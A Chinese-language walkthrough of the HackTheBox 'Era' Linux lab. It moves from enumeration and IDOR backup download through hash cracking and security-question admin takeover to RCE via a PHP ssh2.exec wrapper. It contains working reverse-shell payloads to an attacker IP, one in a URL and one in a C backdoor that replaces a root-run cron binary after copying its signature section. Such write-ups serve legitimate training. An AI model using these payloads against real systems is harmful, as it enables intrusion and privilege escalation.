跳过正文

HTB-Era

·2145 字·11 分钟
HTB-Machine Hackthebox Linux
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

Box Info
#

OS Difficulty
Linux Medium

Nmap
#

[root@Hacking] /home/kali/era  
❯ nmap era.htb -A                                                                                                                            
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Era Designs
|_http-server-header: nginx/1.18.0 (Ubuntu)

Dirsearch
#

[root@Hacking] /home/kali/era  
❯ dirsearch -u era.htb            

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                
 (_||| _) (/_(_|| (_| )                                                                                                                         
                                                                                                                                                
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://era.htb/

[10:07:41] Scanning:                                                                                                                            
[10:08:17] 301 -   178B - /css  ->  http://era.htb/css/                     
[10:08:24] 301 -   178B - /fonts  ->  http://era.htb/fonts/                 
[10:08:26] 301 -   178B - /img  ->  http://era.htb/img/                     
[10:08:26] 200 -   19KB - /index.html                                       
[10:08:31] 301 -   178B - /js  ->  http://era.htb/js/                       
[10:08:31] 403 -   564B - /js/                                              
                                                                             
Task Completed                                                                                   

目录扫描似乎并没有东西,而且网站中并没有可以交互的地方,因此接下来尝试子域名爆破

Subdomain Fuzz
#

[root@Hacking] /home/kali/era  
❯ ffuf -u 'http://era.htb' -H 'Host: FUZZ.era.htb' -w /usr/share/fuzzDicts/subdomainDicts/main.txt  -fw 4

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /usr/share/fuzzDicts/subdomainDicts/main.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 83ms]
:: Progress: [167378/167378] :: Job [1/1] :: 413 req/sec :: Duration: [0:12:46] :: Errors: 0 ::

发现存在file.era.htb的子域名,添加到/etc/hosts

[root@Hacking] /home/kali/era  
❯ cat /etc/hosts                                                                                        
127.0.0.1       localhost
127.0.1.1       Hacking
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.11.79     era.htb file.era.htb

Dirsearch
#

进入http://file.era.htb,发现可以进行文件管理以及上传文件等,但是必须先要登录,我们没有账号,就只能先扫一下目录了

[root@Hacking] /home/kali/era  
❯ dirsearch -u file.era.htb

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                
 (_||| _) (/_(_|| (_| )                                                                                                                         
                                                                                                                                                
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://file.era.htb/

[10:24:44] Scanning:                                                                                                                            
[10:25:09] 403 -   564B - /admin/.htaccess                                  
[10:25:17] 403 -   564B - /administrator/.htaccess                          
[10:25:24] 403 -   564B - /app/.htaccess                                    
[10:25:24] 301 -   178B - /assets  ->  http://file.era.htb/assets/          
[10:25:24] 403 -   564B - /assets/
[10:25:38] 302 -     0B - /download.php  ->  login.php                      
[10:25:40] 301 -   178B - /files  ->  http://file.era.htb/files/            
[10:25:40] 403 -   564B - /files/                                           
[10:25:40] 403 -   564B - /files/cache/                                     
[10:25:40] 403 -   564B - /files/tmp/
[10:25:43] 301 -   178B - /./images  ->  http://file.era.htb/./images/          
[10:25:43] 403 -   564B - /./images/
[10:25:45] 200 -   34KB - /LICENSE                                          
[10:25:46] 200 -    9KB - /login.php                                        
[10:25:46] 200 -    70B - /logout.php                                       
[10:25:46] 302 -     0B - /manage.php  ->  login.php                        
[10:26:00] 200 -    3KB - /register.php                                     
[10:26:14] 302 -     0B - /upload.php  ->  login.php                        
                                                                             
Task Completed                                                                                  

发现有一个register.php可以用于注册账号,注册没有限制,随便注册就行,可以来到后台

ID Fuzz -> Backup
#

在Manage界面可以看到,我们还没有上传任何文件,因此需要先上传一个,这里我随便上传了一个恶意的php文件,结果返回的是一个带id的download路由

那么可以做出合理的猜测,是否存在其他的合法ID可以下载到其他文件?来遍历一下,由于是经过登录的,因此需要带上Cookie值进行请求
先准备一个5000大小的id字典吧

[root@Hacking] /home/kali/era  
❯ seq 1 5000 > id.txt

然后用FFUF进行遍历

[root@Hacking] /home/kali/era  
❯ ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w id.txt -H 'Cookie: PHPSESSID=dghjni9n5t7j1qci649od1jjo3' -fw 3161

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /home/kali/era/id.txt
 :: Header           : Cookie: PHPSESSID=dghjni9n5t7j1qci649od1jjo3
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 3161
________________________________________________

54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 83ms]
150                     [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 86ms]
188                     [Status: 200, Size: 6362, Words: 2552, Lines: 222, Duration: 82ms]
4803                    [Status: 200, Size: 6365, Words: 2552, Lines: 222, Duration: 82ms]
:: Progress: [5000/5000] :: Job [1/1] :: 457 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

发现有响应的还有另外三个,访问第54个发现可能是站点备份压缩包

下载下来进行解压

[root@Hacking] /home/kali/era  
❯ unzip site-backup-30-08-24.zip            
Archive:  site-backup-30-08-24.zip
  inflating: LICENSE                 
  inflating: bg.jpg                  
   creating: css/
  inflating: css/main.css.save       
  inflating: css/main.css            
  inflating: css/fontawesome-all.min.css  
  inflating: css/noscript.css        
   creating: css/./images/
 extracting: css/./images/overlay.png  
  inflating: download.php            
  inflating: filedb.sqlite           
   creating: files/
  inflating: files/.htaccess         
 extracting: files/index.php         
  inflating: functions.global.php    
  inflating: index.php               
  inflating: initial_layout.php      
  inflating: layout.php              
  inflating: layout_login.php        
  inflating: login.php               
  inflating: logout.php              
  inflating: main.png                
  inflating: manage.php              
  inflating: register.php            
  inflating: reset.php               
   creating: sass/
   creating: sass/layout/
  inflating: sass/layout/_wrapper.scss  
  inflating: sass/layout/_footer.scss  
  inflating: sass/layout/_main.scss  
  inflating: sass/main.scss          
   creating: sass/base/
  inflating: sass/base/_page.scss    
  inflating: sass/base/_reset.scss   
  inflating: sass/base/_typography.scss  
   creating: sass/libs/
  inflating: sass/libs/_vars.scss    
  inflating: sass/libs/_vendor.scss  
  inflating: sass/libs/_functions.scss  
  inflating: sass/libs/_mixins.scss  
  inflating: sass/libs/_breakpoints.scss  
  inflating: sass/noscript.scss      
   creating: sass/components/
  inflating: sass/components/_actions.scss  
  inflating: sass/components/_icons.scss  
  inflating: sass/components/_button.scss  
  inflating: sass/components/_icon.scss  
  inflating: sass/components/_list.scss  
  inflating: sass/components/_form.scss  
  inflating: screen-download.png     
  inflating: screen-login.png        
  inflating: screen-main.png         
  inflating: screen-manage.png       
  inflating: screen-upload.png       
  inflating: security_login.php      
  inflating: upload.php              
   creating: webfonts/
  inflating: webfonts/fa-solid-900.eot  
  inflating: webfonts/fa-regular-400.ttf  
  inflating: webfonts/fa-regular-400.woff  
  inflating: webfonts/fa-solid-900.svg  
  inflating: webfonts/fa-solid-900.ttf  
  inflating: webfonts/fa-solid-900.woff  
  inflating: webfonts/fa-brands-400.ttf  
 extracting: webfonts/fa-regular-400.woff2  
  inflating: webfonts/fa-solid-900.woff2  
  inflating: webfonts/fa-regular-400.eot  
  inflating: webfonts/fa-regular-400.svg  
  inflating: webfonts/fa-brands-400.woff2  
  inflating: webfonts/fa-brands-400.woff  
  inflating: webfonts/fa-brands-400.eot  
  inflating: webfonts/fa-brands-400.svg

Crack Pass
#

其中有一个数据库文件filedb.sqlite可以利用,这里可以直接在kali中点开,发现存在user表

整理成可以爆破的格式,其中$2y$开头的通常是bcrypt哈希

admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC

这里可以使用john来进行爆破解密,成功破解出两个用户的密码

有了这两个用户我们再尝试进行登录file.era.htb看看有没有可以利用的东西,似乎并没有。查看download.php的源码发现可以利用的地方

<?php

require_once('functions.global.php');
require_once('layout.php');

function deliverMiddle_download($title, $subtitle, $content) {
    return '
    <main style="
        display: flex; 
        flex-direction: column; 
        align-items: center; 
        justify-content: center; 
        height: 80vh; 
        text-align: center;
        padding: 2rem;
    ">
        <h1>' . htmlspecialchars($title) . '</h1>
        <p>' . htmlspecialchars($subtitle) . '</p>
        <div>' . $content . '</div>
    </main>
    ';
}


if (!isset($_GET['id'])) {
	header('location: index.php'); // user loaded without requesting file by id
	die();
}

if (!is_numeric($_GET['id'])) {
	header('location: index.php'); // user requested non-numeric (invalid) file id
	die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
	echo deliverTop("Era - Download");

	echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

	echo deliverBottom();
} else {
	$fileName = str_replace("files/", "", $fetched[0]);


	// Allow immediate file download
	if ($_GET['dl'] === "true") {

		header('Content-Type: application/octet-stream');
		header("Content-Transfer-Encoding: Binary");
		header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
		readfile($fetched[0]);
	// BETA (Currently only available to the admin) - Showcase file instead of downloading it
	} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    		$format = isset($_GET['format']) ? $_GET['format'] : '';
    		$file = $fetched[0];

		if (strpos($format, '://') !== false) {
        		$wrapper = $format;
        		header('Content-Type: application/octet-stream');
    		} else {
        		$wrapper = '';
        		header('Content-Type: text/html');
    		}

    		try {
        		$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
			$full_path = $wrapper ? $wrapper . $file : $file;
			// Debug Output
			echo "Opening: " . $full_path . "\n";
        		echo $file_content;
    		} catch (Exception $e) {
        		echo "Error reading file: " . $e->getMessage();
    		}


	// Allow simple download
	} else {
		echo deliverTop("Era - Download");
		echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');

	}

}


?>

发现当用户ID为1,也就是admin用户的时候可以执行特殊操作

} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
  • 管理员可以通过 ?show=true&format=php://filter/... 访问任意本地文件内容
  • 存在 任意文件读取风险(LFI),特别是利用 php://filterdata://
  • 如果用户能控制 formatid,配合 wrapper . $file 组合,将存在严重漏洞

Security Login
#

那么接下来就要想办法登录到admin,注意到之前的网站备份解压后还有一个文件:security_login.php

<?php
session_start();

// Function to contact the database using SQLite3 prepared statements
function contactDB($query, $params = [], $type = 0) {
    global $db;

    try {
        $stmt = $db->prepare($query);

        $paramIndex = 1;
        foreach ($params as $param) {
            $stmt->bindValue($paramIndex, $param, getParamType($param));
            $paramIndex++;
        }

        $result = $stmt->execute();

        return ($type == 0) ? $result->fetchArray(SQLITE3_NUM) : $result->fetchArray(SQLITE3_ASSOC);

    } catch (Exception $e) {
        error_log("Database error: " . $e->getMessage());
        return false;
    }
}

// Helper for parameter types
function getParamType($param) {
    if (is_int($param)) return SQLITE3_INTEGER;
    if (is_float($param)) return SQLITE3_FLOAT;
    if (is_null($param)) return SQLITE3_NULL;
    return SQLITE3_TEXT;
}

// Connect to SQLite
$db = new SQLite3('filedb.sqlite');

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST['username'];
    $answer1 = $_POST['answer1'];
    $answer2 = $_POST['answer2'];
    $answer3 = $_POST['answer3'];

    $query = "SELECT user_id, security_answer1, security_answer2, security_answer3 FROM users WHERE user_name = ?";
    $user_data = contactDB($query, [$username], 1);

    if ($user_data) {
        if (
            $answer1 === $user_data['security_answer1'] &&
            $answer2 === $user_data['security_answer2'] &&
            $answer3 === $user_data['security_answer3']
        ) {
            $_SESSION['eravalid'] = true;
            $_SESSION['erauser'] = $user_data['user_id'];
            $operation_successful = true;
        } else {
            $error_message = "Incorrect answers. Please try again.";
        }
    } else {
        $error_message = "User not found.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Log in with Security Questions</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet" />
    <style>
        html, body {
            margin: 0;
            padding: 0;
            height: 100%;
            font-family: 'Inter', Arial, sans-serif;
            background: linear-gradient(120deg, #e0e7ff 0%, #f8fafc 100%);
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .container {
            background-color: #fff;
            max-width: 500px;
            width: 100%;
            border-radius: 12px;
            padding: 2.5rem 2rem;
            box-shadow: 0 8px 24px rgba(0, 0, 0, 0.1);
        }

        h1 {
            font-size: 1.65rem;
            font-weight: 700;
            color: #1d3557;
            text-align: center;
            margin-bottom: 0.5rem;
        }

        p.description {
            text-align: center;
            color: #555;
            font-size: 0.95rem;
            margin-bottom: 1.5rem;
        }

        form {
            display: flex;
            flex-direction: column;
        }

        .form-group {
            margin-bottom: 1.2rem;
        }

        label {
            font-weight: 500;
            color: #374151;
            margin-bottom: 0.4rem;
            display: block;
            font-size: 1rem;
        }

        input[type="text"] {
            width: 100%;
            padding: 0.75rem 1rem;
            border: 1px solid #d1d5db;
            border-radius: 5px;
            background-color: #f9fafb;
            font-size: 1.05rem;
            transition: border 0.2s, box-shadow 0.2s;
            box-sizing: border-box;
        }

        input.answer-input {
            width: 90%;
            margin: 0 auto;
            display: block;
            text-align: center;
        }

        input[type="text"]:focus {
            border-color: #6366f1;
            background-color: #fff;
            outline: none;
            box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.3);
        }

        input[type="submit"] {
            padding: 0.85rem;
            background: linear-gradient(90deg, #6366f1, #2563eb);
            color: white;
            font-size: 1.05rem;
            font-weight: 600;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background 0.3s ease, box-shadow 0.3s ease;
            margin-top: 1rem;
        }

        input[type="submit"]:hover {
            background: linear-gradient(90deg, #2563eb, #6366f1);
            box-shadow: 0 4px 14px rgba(99, 102, 241, 0.2);
        }

        .error, .success {
            max-width: 320px;
            margin: 0 auto 1.2rem;
            padding: 0.9rem 1.1rem;
            border-radius: 6px;
            font-weight: 500;
            text-align: center;
        }

        .error {
            background-color: #fee2e2;
            color: #b91c1c;
            border: 1px solid #fca5a5;
        }

        .success {
            background-color: #d1fae5;
            color: #065f46;
            border: 1px solid #6ee7b7;
            font-weight: 600;
        }

        @media (max-width: 500px) {
            .container {
                padding: 2rem 1rem;
            }

            input.answer-input {
                width: 100%;
            }
        }
    </style>
    <script>
        function showSuccessAndRedirect() {
            const successMessage = document.getElementById('successMessage');
            if (successMessage) {
                successMessage.style.display = 'block';
                setTimeout(() => {
                    window.location.href = 'manage.php';
                }, 1000);
            }
        }
    </script>
</head>
<body>
    <div class="container">
        <h1>Log in Using Security Questions</h1>
        <p class="description">
            If you’ve forgotten your password, you can log in by answering your security questions instead.
        </p>
        <?php
        if (isset($error_message)) {
            echo "<div class='error'>" . htmlspecialchars($error_message) . "</div>";
        }
        if (isset($operation_successful) && $operation_successful) {
            echo "<div id='successMessage' class='success'>Login successful. Redirecting…</div>";
            echo "<script>showSuccessAndRedirect();</script>";
        }
        ?>
        <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post" autocomplete="off">
            <div class="form-group">
                <label for="username">Username</label>
                <input type="text" id="username" name="username" required autocomplete="username" class="answer-input" />
            </div>
            <div class="form-group">
                <label for="question1">What is your mother's maiden name?</label>
                <input type="text" id="question1" name="answer1" required class="answer-input" />
            </div>
            <div class="form-group">
                <label for="question2">What was the name of your first pet?</label>
                <input type="text" id="question2" name="answer2" required class="answer-input" />
            </div>
            <div class="form-group">
                <label for="question3">In which city were you born?</label>
                <input type="text" id="question3" name="answer3" required class="answer-input" />
            </div>
            <input type="submit" value="Verify and Log In" />
        </form>
    </div>
</body>
</html>

尝试用之前在filedb.sqlite中的问题来进行回答,结果无法登录

尝试进行修改
修改之后再次进行security_login.php登录,成功以admin的身份登录,那么就可以回到download.php寻找利用方式了

PHP wrapper -> RCE
#

之前分析过,可能存在伪协议的利用,但是经过我的尝试,以下url并不会得到直接回显

http://file.era.htb/?id=1&show=true&format=php://filter/read=convert.base64-encode/resource=/etc/passwd

经过尝试发现,yuri的账户可以登录到ftp服务

其中php8.1_conf目录如下

ftp> cd php8.1_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||13406|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so

注意到其中有一个ssh2的扩展,用法参考PHP手册:PHP: 支持的协议和封装协议 - Manual

  • ssh2.shell://user:pass@example.com:22/xterm
  • ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
  • ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
  • ssh2.sftp://user:pass@example.com:22/path/to/filename

尝试以下payload进行反弹shell,由于是base64编码后传入URL,因此要尽量避免加号的存在(会被解析为空格),解决办法就是在base64编码前插入消除编码加号

http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27printf%20KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDQ0ICAwPiYxKSAm|base64%20-d|bash%27;

成功接收到反弹shell,并且拿到user.txt

Root
#

上传linpeas.sh,发现当前用户拥有一个特殊文件

运行pspy查看进程状态

  • CRON -f -P:这是 计划任务守护进程,说明定时任务被触发了。
  • bash -c echo > /opt/AV/periodic-checks/status.log:定时任务清空了一个日志文件。
  • objcopy --dump-section .text_sig=... /opt/AV/periodic-checks/monitor:从 /opt/AV/periodic-checks/monitor 这个二进制文件里提取 .text_sig 段,可能是做完整性校验或签名检查。
  • /root/initiate_monitoring.sh 被大量并发执行(PID 25204–25213):这是关键,说明 CRON 触发了一个脚本 /root/initiate_monitoring.sh,但它在极短时间内被多次执行

因此可以分析得出,这个文件会被定时执行,同时其中的text_sig段会被检查是否改变,那么我们能做的就是,修改文件内容用于提权,并且复制text_sig段。

eric@era:/opt/AV/periodic-checks$ cat a.c 
#include <stdlib.h>
int main() {
    system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'");
    return 0;
}
eric@era:/opt/AV/periodic-checks$ 
eric@era:/opt/AV/periodic-checks$ gcc a.c -o backdoor
eric@era:/opt/AV/periodic-checks$ ls
a.c  backdoor  monitor  monitor_text_sig.bin  shell.c  status.log
eric@era:/opt/AV/periodic-checks$ objcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor
eric@era:/opt/AV/periodic-checks$ ls
a.c  backdoor  monitor  monitor_text_sig.bin  shell.c  status.log  text_sig
eric@era:/opt/AV/periodic-checks$ objcopy --add-section .text_sig=text_sig backdoor 
eric@era:/opt/AV/periodic-checks$ cp backdoor monitor
eric@era:/opt/AV/periodic-checks$ chmod +x monitor

最后获取到了root的shell

Reply by Email